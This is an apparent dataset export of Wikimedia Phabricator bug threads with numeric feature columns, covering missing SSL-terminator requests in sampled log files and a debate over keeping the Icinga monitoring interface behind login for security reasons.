62315,"Requests from ssl terminators not present in sampled-1000 tsvs, and mobile-sampled-1000 tsvs","Although requests from ssl terminators are visible in the udp2log
stream when consuming directly, and also in the edit tsvs [1], none
are visible in the sampled-1000 tsv [2] or the mobile-sampled-100
tsvs [3].

Due to the numbers exposed by the edit tsv we'd expect >1000 lines/day
from ssl terminators in the sampled-1000 tsvs, and >500 lines/day in
the mobile-sampled-100 tsvs due to the edit requests alone.

Are those two streams suffering the same problem as edit tsvs suffered
before 2014-01-14 (bug 60314)?

Let's get the ssl requests into the sampled-1000 and
mobile-sampled-100 tsvs!

(I've been told sampled-1000 is collected independently on two
different hosts. Is the one that does not get mirrored to stat1002
also affected? Not sure which those hosts are. The udp2log filters
live in
https://git.wikimedia.org/tree/operations%2Fpuppet/production/templates%2Fudp2log
)


[1]
___________________________________________________________
qchris@stat1002 // 0 // 00:36:41                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/edits/edits.tsv.log-20140121.gz
1358968


[2]
___________________________________________________________
qchris@stat1002 // 0 // 22:14:02                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/sampled/sampled-1000.tsv.log-201401*.gz
/a/squid/archive/sampled/sampled-1000.tsv.log-20140101.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140102.gz:0
[...]
/a/squid/archive/sampled/sampled-1000.tsv.log-20140113.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140114.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140115.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140116.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140117.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140118.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140119.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140120.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140121.gz:0


[3]
___________________________________________________________
qchris@stat1002 // 0 // 22:47:06                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/mobile/mobile-sampled-100.tsv.log-201401*.gz
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140101.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140102.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140103.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140104.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140105.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140107.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140108.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140109.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140110.gz:1
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140111.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140112.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140113.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140114.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140115.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140116.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140117.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140118.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140119.gz:1
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140120.gz:2
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140121.gz:0


The four matches from the 201401{10,19,20} files are artifacts from an
ssl terminator request line being too long and getting messed up with
a subsequent mobile request line.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1390352280,1638225293.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-2y2k45wukaju6uyrp23s,task_description,declined,True,c3,1,True,False,False,-76,True,0.0,0.0,0.0,0.2222222222222222,0.2222222222222222,2.111111111111111,0.4444444444444444,0.0,0.1111111111111111,0.0,0.7777777777777778,0.8888888888888888,0.0,0.0,0.0,0.2222222222222222,0.0,1.1111111111111112,2.5555555555555554,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,0.2222222222222222,1.1111111111111112,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.0,0.5555555555555556,0.0,0.0,0.0,0.2222222222222222,0.0,0.2222222222222222,0.0,0.1111111111111111,0.0,21.0,0.0,0.2222222222222222,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.2222222222222222,0.0,0.0,0.1111111111111111,0.0,0.1111111111111111,0.0,0.2222222222222222,0.0,2.0,1.0,1.3333333333333333,0.2222222222222222,0.5555555555555556,2.3333333333333335,0.0,0.0,0.1111111111111111,0.0,0.4444444444444444,0.0,2.6666666666666665,0.0,0.3333333333333333,2.5555555555555554,1.7777777777777777,0.2222222222222222,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.2222222222222222,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,4.069675925925925,0.33222465886939573,"Although requests from ssl terminators are visible in the udp2log
stream when consuming directly, and also in the edit tsvs [1], none
are visible in the sampled-1000 tsv [2] or the mobile-sampled-100
tsvs [3].

Due to the numbers exposed by the edit tsv we'd expect >1000 lines/day
from ssl terminators in the sampled-1000 tsvs, and >500 lines/day in
the mobile-sampled-100 tsvs due to the edit requests alone.

Are those two streams suffering the same problem as edit tsvs suffered
before 2014-01-14 (bug 60314)?

Let's get the ssl requests into the sampled-1000 and
mobile-sampled-100 tsvs!

(I've been told sampled-1000 is collected independently on two
different hosts. Is the one that does not get mirrored to stat1002
also affected? Not sure which those hosts are. The udp2log filters
live in
URL
)


[1]
___________________________________________________________
qchris@stat1002 // 0 // 00:36:41                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/edits/edits.tsv.log-20140121.gz
1358968


[2]
___________________________________________________________
qchris@stat1002 // 0 // 22:14:02                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/sampled/sampled-1000.tsv.log-201401*.gz
/a/squid/archive/sampled/sampled-1000.tsv.log-20140101.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140102.gz:0
[...]
/a/squid/archive/sampled/sampled-1000.tsv.log-20140113.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140114.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140115.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140116.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140117.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140118.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140119.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140120.gz:0
/a/squid/archive/sampled/sampled-1000.tsv.log-20140121.gz:0


[3]
___________________________________________________________
qchris@stat1002 // 0 // 22:47:06                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/mobile/mobile-sampled-100.tsv.log-201401*.gz
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140101.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140102.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140103.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140104.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140105.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140107.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140108.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140109.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140110.gz:1
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140111.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140112.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140113.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140114.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140115.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140116.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140117.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140118.gz:0
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140119.gz:1
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140120.gz:2
/a/squid/archive/mobile/mobile-sampled-100.tsv.log-20140121.gz:0


The four matches from the 201401{10,19,20} files are artifacts from an
ssl terminator request line being too long and getting messed up with
a subsequent mobile request line.

--------------------------
**Version**: unspecified
**Severity**: normal"
284243,"Requests from ssl terminators not present in sampled-1000 tsvs, and mobile-sampled-1000 tsvs","**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1399",,,1390946560,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2y2k45wukaju6uyrp23s,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
284239,"Requests from ssl terminators not present in sampled-1000 tsvs, and mobile-sampled-1000 tsvs","ottomata said that nginx might log only to gadolinium, while
sampled-1000 gets written only on emery.",,,1390501300,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-2y2k45wukaju6uyrp23s,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,"ottomata said that nginx might log only to gadolinium, while
sampled-1000 gets written only on emery."
62314,Requests through ssl terminators hardly present in edits tsvs before 2014-01-14,"It seems fixing bug 58876 made the logged requests from ssl
terminators jump from ~50/day to 1.3M/day [1] ... which is actually good.

As the ~1.3M/day seems more plausible than ~50/day ... Did some of the
(maybe) relevant changes
  https://gerrit.wikimedia.org/r/#/c/105449/
  https://gerrit.wikimedia.org/r/#/c/105450/
  https://gerrit.wikimedia.org/r/#/c/105451/
really unbreak edit.tsv writing for ssl terminators as a side-effect?

If so, how could they have unbroken storing requests from ssl
terminators ... should not x-encoded requests have gotten logged
nonetheless?
(They for sure were in the stream before, as I checked before writing
the changes above, and some are visible in the edit tsvs for the
previous dates.)

Was there some network issue beforehand?
Was udp-filter (see [4] for its invocation) misbehaving?

Once we understand what went on, would we need fixes elsewhere?

Is the 1.3M/day now finally about correct?






Some more pointers:

* The above gerrit changes got deployed to ssl1001 on 2014-01-14
  ~18:56 [2].

* Heavy ssl traffic in the edit tsvs starts on 2014-01-14T18:59:11.634
  and is limited to ssl1001 at first. On 2014-01-14T19:06:23.209 other
  machines kick in.

* There was a deployment window on 2014-01-14 19:00-21:00 upgrading
  group1 1.23wmf9->1.23wmf10 [3], but it looks unrelated, as we're
  seeing ssl requests pour in for unaffected wikis.





[1]
___________________________________________________________
qchris@stat1002 // 0 // 22:13:50                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/edits/edits.tsv.log-201401*.gz 
[...]
/a/squid/archive/edits/edits.tsv.log-20140112.gz:47
/a/squid/archive/edits/edits.tsv.log-20140113.gz:18
/a/squid/archive/edits/edits.tsv.log-20140114.gz:17
/a/squid/archive/edits/edits.tsv.log-20140115.gz:557830
/a/squid/archive/edits/edits.tsv.log-20140116.gz:1307081
/a/squid/archive/edits/edits.tsv.log-20140117.gz:1336017
/a/squid/archive/edits/edits.tsv.log-20140118.gz:1345793
/a/squid/archive/edits/edits.tsv.log-20140119.gz:1379590
/a/squid/archive/edits/edits.tsv.log-20140120.gz:1343811
/a/squid/archive/edits/edits.tsv.log-20140121.gz:1358968

[2] See
http://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-operations/20140114.txt
around 18:54, look for ottomata & qchris.

[3] https://wikitech.wikimedia.org/wiki/Deployments/Archive/2014

[4] https://git.wikimedia.org/blob/operations%2Fpuppet/aa4f6383ac7fc8dc5515d8466574368658f959ed/templates%2Fudp2log%2Ffilters.oxygen.erb#L13

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1390350060,1638225278.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-6ycchtavbbyqwrmd2xzg,task_description,declined,True,c3,1,True,False,False,-76,True,0.6666666666666666,0.0,0.0,0.16666666666666666,0.16666666666666666,4.166666666666667,0.8333333333333334,0.0,0.0,0.16666666666666666,1.6666666666666667,0.5,0.0,0.0,0.3333333333333333,0.6666666666666666,0.16666666666666666,2.5,5.666666666666667,0.0,0.3333333333333333,0.16666666666666666,0.0,0.0,1.6666666666666667,0.0,0.0,0.5,0.16666666666666666,0.16666666666666666,0.0,2.1666666666666665,0.8333333333333334,0.5,0.3333333333333333,0.0,0.3333333333333333,0.16666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.5,0.0,0.3333333333333333,0.0,0.0,0.0,14.166666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.16666666666666666,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.16666666666666666,2.0,1.3333333333333333,4.166666666666667,0.5,0.6666666666666666,2.8333333333333335,0.0,0.0,0.0,0.0,1.5,0.0,5.0,0.0,1.5,5.666666666666667,2.3333333333333335,1.0,0.3333333333333333,0.0,1.5,0.0,0.5,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,3.0,3.757299114742935,0.5275578821927137,"It seems fixing bug 58876 made the logged requests from ssl
terminators jump from ~50/day to 1.3M/day [1] ... which is actually good.

As the ~1.3M/day seems more plausible than ~50/day ... Did some of the
(maybe) relevant changes
  URL
  URL
  URL
really unbreak edit.tsv writing for ssl terminators as a side-effect?

If so, how could they have unbroken storing requests from ssl
terminators ... should not x-encoded requests have gotten logged
nonetheless?
(They for sure were in the stream before, as I checked before writing
the changes above, and some are visible in the edit tsvs for the
previous dates.)

Was there some network issue beforehand?
Was udp-filter (see [4] for its invocation) misbehaving?

Once we understand what went on, would we need fixes elsewhere?

Is the 1.3M/day now finally about correct?






Some more pointers:

* The above gerrit changes got deployed to ssl1001 on 2014-01-14
  ~18:56 [2].

* Heavy ssl traffic in the edit tsvs starts on 2014-01-14T18:59:11.634
  and is limited to ssl1001 at first. On 2014-01-14T19:06:23.209 other
  machines kick in.

* There was a deployment window on 2014-01-14 19:00-21:00 upgrading
  group1 1.23wmf9->1.23wmf10 [3], but it looks unrelated, as we're
  seeing ssl requests pour in for unaffected wikis.





[1]
___________________________________________________________
qchris@stat1002 // 0 // 22:13:50                                  
cwd: ~
zgrep -c '^ssl' /a/squid/archive/edits/edits.tsv.log-201401*.gz 
[...]
/a/squid/archive/edits/edits.tsv.log-20140112.gz:47
/a/squid/archive/edits/edits.tsv.log-20140113.gz:18
/a/squid/archive/edits/edits.tsv.log-20140114.gz:17
/a/squid/archive/edits/edits.tsv.log-20140115.gz:557830
/a/squid/archive/edits/edits.tsv.log-20140116.gz:1307081
/a/squid/archive/edits/edits.tsv.log-20140117.gz:1336017
/a/squid/archive/edits/edits.tsv.log-20140118.gz:1345793
/a/squid/archive/edits/edits.tsv.log-20140119.gz:1379590
/a/squid/archive/edits/edits.tsv.log-20140120.gz:1343811
/a/squid/archive/edits/edits.tsv.log-20140121.gz:1358968

[2] See
URL
around 18:54, look for ottomata & qchris.

[3] URL

[4] URL

--------------------------
**Version**: unspecified
**Severity**: normal"
284200,Requests through ssl terminators hardly present in edits tsvs before 2014-01-14,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1398",,,1390946519,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ycchtavbbyqwrmd2xzg,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
62112,Icinga has httpauth on (not accessible for public),"Just noticed that Icinga apparently has httpauth on, so it's not accessible for me (the public).
Is there a security issue or other reason that forced this?

also http://status.wikimedia.org/ reports it as down for several days.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: https://icinga.wikimedia.org/icinga
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54713
https://rt.wikimedia.org/Ticket/Display.html?id=6838",Medium,50.0,1389828420,1513160407.0,PHID-USER-jcypqodpdpbcicgwgh7j,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-u4soyvplokhywk7dypsl,task_description,declined,True,c3,1,True,False,False,-77,True,1.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,1.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,2.0,1.0,14.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,4.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,3.2705882352941176,0.611764705882353,"Just noticed that Icinga apparently has httpauth on, so it's not accessible for me (the public).
Is there a security issue or other reason that forced this?

also URL reports it as down for several days.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL
**See Also**:
URL
URL"
981051,Icinga has httpauth on (not accessible for public),"Thanks for reminding me of this. Since there's been practically no change since my last commit, I 'll indeed close this as `declined`. Feel free to reopen.

The limited public panel you refer to, does exist btw. And in fact, there are even more public channels they are no that limited. 

First of, there is the (limited indeed) panel at  https://status.wikimedia.org/

Then most alerts are logged via IRC on #wikimedia-operations. That channel is also publicly logged and archives for many years back exist at http://bots.wmflabs.org/~wm-bot/logs/%23wikimedia-operations/. Alerts for others teams go to their respective channels as well. Configuration for the entirety of the infrastructure exists and is at https://phabricator.wikimedia.org/source/operations-puppet/. In fact the IRC channels used per team are at https://phabricator.wikimedia.org/source/operations-puppet/browse/production/modules/icinga/manifests/ircbot.pp

So yes, the icinga web interface is private these days for security reasons, but the information is not private and we do a lot to disseminate it.  ",,,1513160407,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,127,True,0.5,0.0,0.0,1.0,0.5,6.5,3.0,0.0,0.0,0.0,2.0,0.5,0.0,0.5,1.5,2.0,0.0,8.5,13.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,1.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,15.5,0.5,2.0,0.0,2.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,5.5,10.5,1.0,3.0,7.0,0.0,0.0,0.0,0.5,2.5,0.5,0.0,0.0,4.0,13.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.5,0.5,0.5,0.5,0.0,3.941860465116279,0.7441860465116279,"Thanks for reminding me of this. Since there's been practically no change since my last commit, I 'll indeed close this as CODE. Feel free to reopen.

The limited public panel you refer to, does exist btw. And in fact, there are even more public channels they are no that limited. 

First of, there is the (limited indeed) panel at  URL

Then most alerts are logged via IRC on #wikimedia-operations. That channel is also publicly logged and archives for many years back exist at URL Alerts for others teams go to their respective channels as well. Configuration for the entirety of the infrastructure exists and is at URL In fact the IRC channels used per team are at URL

So yes, the icinga web interface is private these days for security reasons, but the information is not private and we do a lot to disseminate it.  "
981013,Icinga has httpauth on (not accessible for public),"Such a shame that lots of log and status hosts are shifting towards a private option without even a limited public panel. Really decreases community accountability and removes the positive effects of ""Wikis use community ownership"".",,,1513158400,,PHID-USER-vus4aqtj2rgustxq6zdy,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,False,,,127,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,2.0,8.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,4.925,0.825,"Such a shame that lots of log and status hosts are shifting towards a private option without even a limited public panel. Really decreases community accountability and removes the positive effects of ""Wikis use community ownership""."
890132,Icinga has httpauth on (not accessible for public),">>! In T62112#3419066, @Luke081515 wrote:
> Did something changed here in over two years since icinga is login-only?

No, and given @MoritzMuehlenhoff 's answer above I don't think there will be any soon. . I know @Multichill's idea sounds like a good compromise but unfortunately it is not very feasible technically. Most of the icinga interface is practically the output of 1 CGI script (status.cgi) which alters it's behaviour based on the HTTP GET params it receives. That makes that approach technically difficult and most importantly quite error prone. It would also probably mean that the end result would not differ much from https://status.wikimedia.org/ (which already exist and provides status functionality) making that approach kind of a moot point. 

My current inclination is, unfortunately, to close this task as `declined`",,,1499669773,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,105,True,1.5,0.0,0.5,0.0,2.0,4.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.5,2.0,0.0,12.5,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,0.0,7.0,1.5,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,15.0,1.0,2.5,0.0,1.5,0.0,0.5,0.0,0.0,0.5,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.5,2.5,8.5,1.0,2.5,8.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,4.5,6.0,3.0,0.0,0.0,0.0,4.5,0.0,1.5,1.5,0.0,1.0,0.0,1.5,0.0,4.492307692307692,0.8538461538461539,"QUOTE
QUOTE

No, and givenSCREEN_NAME 's answer above I don't think there will be any soon. . I knowSCREEN_NAME's idea sounds like a good compromise but unfortunately it is not very feasible technically. Most of the icinga interface is practically the output of 1 CGI script (status.cgi) which alters it's behaviour based on the HTTP GET params it receives. That makes that approach technically difficult and most importantly quite error prone. It would also probably mean that the end result would not differ much from URL (which already exist and provides status functionality) making that approach kind of a moot point. 

My current inclination is, unfortunately, to close this task as CODE"
890027,Icinga has httpauth on (not accessible for public),Did something changed here in over two years since icinga is login-only?,,,1499632928,,PHID-USER-qlodcndtwpolbdhncjis,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,105,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,20.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.066666666666666,1.0,Did something changed here in over two years since icinga is login-only?
754624,Icinga has httpauth on (not accessible for public),">>! In T62112#2763374, @MoritzMuehlenhoff wrote:
> Although we do have a security-support version of Icinga running now, I'm against opening up the access to the public. Icinga/Nagios have a non-ideal security history, the CGIs are written in C and the monitoring hosts have privileged access to our production networks. (I'm fine with group-based access for selected, trusted service owners).

What about putting a reverse proxy in front of it with some strict filtering so that only a small part is viewable without logging in? You could just call that one  https://icinga-public.wikimedia.org/ ",,,1478119516,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,69,True,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,13.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,21.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,3.9473684210526314,0.8947368421052632,"QUOTE
QUOTE

What about putting a reverse proxy in front of it with some strict filtering so that only a small part is viewable without logging in? You could just call that one  URL "
753889,Icinga has httpauth on (not accessible for public),"Although we do have a security-support version of Icinga running now, I'm against opening up the access to the public. Icinga/Nagios have a non-ideal security history, the CGIs are written in C and the monitoring hosts have privileged access to our production networks. (I'm fine with group-based access for selected, trusted service owners).",,,1478095258,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,3,True,,,69,True,0.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,6.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,11.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.0,13.0,7.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.084507042253521,0.7323943661971831,"Although we do have a security-support version of Icinga running now, I'm against opening up the access to the public. Icinga/Nagios have a non-ideal security history, the CGIs are written in C and the monitoring hosts have privileged access to our production networks. (I'm fine with group-based access for selected, trusted service owners)."
466139,Icinga has httpauth on (not accessible for public),">>! In T62112#1098490, @scfc wrote:
